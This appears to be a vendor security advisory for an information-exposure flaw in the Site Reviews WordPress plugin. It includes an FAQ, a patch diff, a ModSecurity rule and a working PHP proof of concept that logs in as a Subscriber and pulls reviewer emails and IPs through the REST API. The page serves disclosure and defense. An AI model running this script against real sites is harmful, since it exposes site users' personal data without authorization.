What is CVE-2026-57318?

CVE-2026-57318 is a Sensitive Information Exposure vulnerability in the Site Reviews plugin for WordPress, affecting versions up to and including 8.0.11. It allows authenticated attackers with Subscriber-level access or higher to extract sensitive user or configuration data via the REST API.

How does the vulnerability work?

The vulnerability exists in the ReviewPermissions.php file, where the permission check for the ‘edit’ context in REST API requests was missing. An authenticated attacker can send a GET request to /wp-json/site-reviews/v1/reviews/{id}?context=edit to retrieve sensitive fields such as author email, IP addresses, or unpublished review data.

Who is affected by this vulnerability?

Any WordPress site running Site Reviews plugin version 8.0.11 or earlier is affected. Attackers must have authenticated access with at least Subscriber-level role, meaning any logged-in user on the site can potentially exploit it.

How can I check if my site is vulnerable?

Check the Site Reviews plugin version in your WordPress admin dashboard under Plugins. If the version is 8.0.11 or lower, your site is vulnerable. You can also verify by reviewing the plugin’s changelog or checking for the patched version 8.0.12.

What is the CVSS score and what does it mean?

The CVSS score is 4.3, categorized as Medium severity. This indicates a moderate risk where exploitation requires authentication and results in limited confidentiality impact, such as exposure of user emails or IP addresses, but not full system compromise.

How do I update to the patched version?

Update the Site Reviews plugin to version 8.0.12 or later from your WordPress admin dashboard under Plugins. Alternatively, download the latest version from the WordPress plugin repository and install it manually.

Are there any temporary mitigations if I cannot update?

If immediate update is not possible, consider disabling the Site Reviews plugin temporarily or restricting REST API access to authenticated users with higher roles. However, updating is the recommended and most effective solution.

What does the proof of concept demonstrate?

The provided PoC script authenticates as a Subscriber-level user and then sends a GET request to the REST API endpoint with the ‘edit’ context. It demonstrates that the response includes sensitive fields that should be restricted, confirming the information exposure.

Is this vulnerability exploitable remotely?

Yes, the vulnerability is exploitable remotely over the network. An attacker only needs valid Subscriber credentials, which can be obtained through registration or other means, and can then send crafted HTTP requests to the WordPress REST API.

What should I do if I suspect my site has been compromised?

Immediately update the Site Reviews plugin to the latest version. Review user accounts for unauthorized Subscriber-level access, check logs for suspicious API requests, and consider rotating any exposed sensitive data such as email addresses or API keys.

Published : July 4, 2026

CVE-2026-57318: Site Reviews <= 8.0.11 Authenticated (Subscriber+) Sensitive Information Exposure PoC, Patch Analysis & Rule

Q: What sensitive data can be exposed?

An attacker can extract reviewer email addresses, IP addresses, and review meta data that should only be accessible to Editor-level roles. This information could be used for targeted phishing, identity theft, or further attacks.

Q: How was the vulnerability fixed?

The patch adds a permission check in ReviewPermissions.php that verifies the request context is ‘edit’ and then checks if the user can ‘edit_posts’. If not, it returns a WP_Error with ‘rest_forbidden_context’. Additionally, the Encryption.php file fixes a type mismatch by casting constants to integers.

CVE ID CVE-2026-57318

Plugin site-reviews

Severity Medium (CVSS 4.3)

CWE 200

Vulnerable Version 8.0.11

Patched Version 8.0.12

Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57318:

The Site Reviews plugin for WordPress, in all versions up to and including 8.0.11, contains a Sensitive Information Exposure vulnerability. An authenticated attacker with Subscriber-level access or higher can extract sensitive user or configuration data. The vulnerability is present in the REST API permission checks and the encryption module, rated with a CVSS score of 4.3.

The root cause lies in the ReviewPermissions.php file (Controllers/Api/Version1/Permissions/ReviewPermissions.php). The vulnerable method lacked a context-based permission check for the ‘edit’ context in REST API requests. Without this check, any authenticated user (Subscriber+) could access the ‘edit’ context of review endpoints. Additionally, the Encryption class (Modules/Encryption.php) had a type mismatch issue where constants like SODIUM_CRYPTO_SECRETBOX_NONCEBYTES were not cast to integers, potentially leading to incorrect nonce/key derivation.

An attacker with Subscriber-level credentials can send a GET request to the Site Reviews REST API endpoint, specifying the ‘edit’ context for a review resource. For example, an attacker could call /wp-json/site-reviews/v1/reviews/1?context=edit. This would return sensitive fields such as author email, IP addresses, or unpublished review data that should only be accessible to Editor-level roles.

The patch adds a permission check in ReviewPermissions.php at line 79-84. Before the patch, the function returned true for any authenticated user with ‘edit_posts’ capability. The patched version checks if the request context is ‘edit’ and then verifies the user can ‘edit_posts’. If not, it returns a WP_Error with a ‘rest_forbidden_context’ message. The Encryption.php changes cast the constant values to integers, ensuring consistent nonce/key length calculations.

Successful exploitation exposes sensitive user data including email addresses, reviewer IPs, and review meta data. This information can facilitate targeted phishing attacks, identity theft, or further exploitation. The confidentiality impact is limited to authenticated users, hence the CVSS score of 4.3 (Medium).

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/site-reviews/plugin/Controllers/Api/Version1/Permissions/ReviewPermissions.php
+++ b/site-reviews/plugin/Controllers/Api/Version1/Permissions/ReviewPermissions.php
@@ -76,6 +76,13 @@
                 'status' => rest_authorization_required_code()
             ]);
         }
+        $context = $request['context'] ?? 'edit';
+        if ('edit' === $context && !glsr()->can('edit_posts')) {
+            $message = _x('Sorry, you are not allowed to edit this review.', 'admin-text', 'site-reviews');
+            return new WP_Error('rest_forbidden_context', $message, [
+                'status' => rest_authorization_required_code(),
+            ]);
+        }
         return true;
     }

--- a/site-reviews/plugin/Controllers/MenuController.php
+++ b/site-reviews/plugin/Controllers/MenuController.php
@@ -223,6 +223,37 @@
     }

     /**
+     * Reorders the submenu to keep post types at the top
+     *
+     * @action admin_menu
+     */
+    public function reorderSubMenu(): void
+    {
+        global $submenu;
+        $prefix = 'edit.php?post_type='.glsr()->post_type;
+        if (empty($submenu[$prefix])) {
+            return;
+        }
+        $deferred = [];
+        $reindexed = [];
+        $index = 0;
+        $step = 5;
+        foreach ($submenu[$prefix] as $item) {
+            if (str_starts_with($item[0] ?? '', 'All ')) {
+                $index += $step;
+                $reindexed[$index] = $item;
+            } else {
+                $deferred[] = $item;
+            }
+        }
+        foreach ($deferred as $item) {
+            $index += $step;
+            $reindexed[$index] = $item;
+        }
+        $submenu[$prefix] = $reindexed;
+    }
+
+    /**
      * @action admin_init
      */
     public function setCustomPermissions(): void
--- a/site-reviews/plugin/Hooks/MenuHooks.php
+++ b/site-reviews/plugin/Hooks/MenuHooks.php
@@ -13,6 +13,7 @@
             ['registerMenuCount', 'admin_menu'],
             ['registerSubMenus', 'admin_menu'],
             ['removeSubMenu', 'admin_init'],
+            ['reorderSubMenu', 'admin_menu'],
             ['setCustomPermissions', 'admin_init', 999],
         ]);
     }
--- a/site-reviews/plugin/Modules/Encryption.php
+++ b/site-reviews/plugin/Modules/Encryption.php
@@ -97,14 +97,14 @@
     protected function legacyNonce(): string
     {
         $nonce = defined('NONCE_SALT') ? NONCE_SALT : '';
-        $nonce = substr($nonce, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
-        return str_pad($nonce, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES, '#');
+        $nonce = substr($nonce, 0, (int) SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
+        return str_pad($nonce, (int) SODIUM_CRYPTO_SECRETBOX_NONCEBYTES, '#');
     }

     protected function key(): string
     {
         $key = defined('NONCE_KEY') ? NONCE_KEY : '';
-        $key = substr($key, 0, SODIUM_CRYPTO_SECRETBOX_KEYBYTES);
-        return str_pad($key, SODIUM_CRYPTO_SECRETBOX_KEYBYTES, '#');
+        $key = substr($key, 0, (int) SODIUM_CRYPTO_SECRETBOX_KEYBYTES);
+        return str_pad($key, (int) SODIUM_CRYPTO_SECRETBOX_KEYBYTES, '#');
     }
 }
--- a/site-reviews/site-reviews.php
+++ b/site-reviews/site-reviews.php
@@ -7,7 +7,7 @@
  * Plugin Name:          Site Reviews
  * Plugin URI:           https://wordpress.org/plugins/site-reviews
  * Description:          Receive and display reviews on your website
- * Version:              8.0.11
+ * Version:              8.0.12
  * Author:               Paul Ryley
  * Author URI:           https://site-reviews.com
  * License:              GPL3

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

SecRule REQUEST_URI "@beginsWith /wp-json/site-reviews/v" 
  "id:20265731,phase:1,deny,status:403,chain,msg:'CVE-2026-57318 Site Reviews REST API context exploit',severity:'CRITICAL',tag:'CVE-2026-57318'"
  SecRule ARGS:context "@streq edit" "chain"
    SecRule REQUEST_METHOD "@streq GET" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57318 - Site Reviews <= 8.0.11 Authenticated Sensitive Information Exposure

$target_url = 'http://example.com'; // CHANGE THIS
$username = 'subscriber'; // CHANGE THIS
$password = 'password';   // CHANGE THIS

// Step 1: Authenticate with WordPress
$login_url = $target_url . '/wp-login.php';
$post_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);

// Step 2: Fetch a review with 'edit' context to leak sensitive data
// REST API endpoint: /wp-json/site-reviews/v1/reviews/{id}?context=edit
$rest_url = $target_url . '/wp-json/site-reviews/v1/reviews/1?context=edit';
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

// Step 3: Check if we got sensitive data (e.g., email, IP)
if ($response) {
    $data = json_decode($response, true);
    if (isset($data['email']) || isset($data['ip_address'])) {
        echo "[+] Vulnerability confirmed! Extracted sensitive data:n";
        // Print all fields to show what was leaked
        foreach ($data as $key => $val) {
            echo "  $key: " . (is_array($val) ? json_encode($val) : $val) . "n";
        }
    } else {
        echo "[-] Could not extract sensitive data (may be patched or review ID not found).n";
    }
} else {
    echo "[-] No response from REST API.n";
}

curl_close($ch);
unlink('/tmp/cookies.txt');

Frequently Asked Questions

What is CVE-2026-57318?
Vulnerability overview
CVE-2026-57318 is a Sensitive Information Exposure vulnerability in the Site Reviews plugin for WordPress, affecting versions up to and including 8.0.11. It allows authenticated attackers with Subscriber-level access or higher to extract sensitive user or configuration data via the REST API.
How does the vulnerability work?
Technical mechanism
The vulnerability exists in the ReviewPermissions.php file, where the permission check for the ‘edit’ context in REST API requests was missing. An authenticated attacker can send a GET request to /wp-json/site-reviews/v1/reviews/{id}?context=edit to retrieve sensitive fields such as author email, IP addresses, or unpublished review data.
Who is affected by this vulnerability?
Affected users and sites
Any WordPress site running Site Reviews plugin version 8.0.11 or earlier is affected. Attackers must have authenticated access with at least Subscriber-level role, meaning any logged-in user on the site can potentially exploit it.
How can I check if my site is vulnerable?
Detection steps
Check the Site Reviews plugin version in your WordPress admin dashboard under Plugins. If the version is 8.0.11 or lower, your site is vulnerable. You can also verify by reviewing the plugin’s changelog or checking for the patched version 8.0.12.
What is the CVSS score and what does it mean?
Risk assessment
The CVSS score is 4.3, categorized as Medium severity. This indicates a moderate risk where exploitation requires authentication and results in limited confidentiality impact, such as exposure of user emails or IP addresses, but not full system compromise.
What sensitive data can be exposed?
Potential information leakage
An attacker can extract reviewer email addresses, IP addresses, and review meta data that should only be accessible to Editor-level roles. This information could be used for targeted phishing, identity theft, or further attacks.
How was the vulnerability fixed?
Patch details
The patch adds a permission check in ReviewPermissions.php that verifies the request context is ‘edit’ and then checks if the user can ‘edit_posts’. If not, it returns a WP_Error with ‘rest_forbidden_context’. Additionally, the Encryption.php file fixes a type mismatch by casting constants to integers.
How do I update to the patched version?
Update instructions
Update the Site Reviews plugin to version 8.0.12 or later from your WordPress admin dashboard under Plugins. Alternatively, download the latest version from the WordPress plugin repository and install it manually.
Are there any temporary mitigations if I cannot update?
Workarounds
If immediate update is not possible, consider disabling the Site Reviews plugin temporarily or restricting REST API access to authenticated users with higher roles. However, updating is the recommended and most effective solution.
What does the proof of concept demonstrate?
PoC explanation
The provided PoC script authenticates as a Subscriber-level user and then sends a GET request to the REST API endpoint with the ‘edit’ context. It demonstrates that the response includes sensitive fields that should be restricted, confirming the information exposure.
Is this vulnerability exploitable remotely?
Attack vector
Yes, the vulnerability is exploitable remotely over the network. An attacker only needs valid Subscriber credentials, which can be obtained through registration or other means, and can then send crafted HTTP requests to the WordPress REST API.
What should I do if I suspect my site has been compromised?
Incident response
Immediately update the Site Reviews plugin to the latest version. Review user accounts for unauthorized Subscriber-level access, check logs for suspicious API requests, and consider rotating any exposed sensitive data such as email addresses or API keys.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started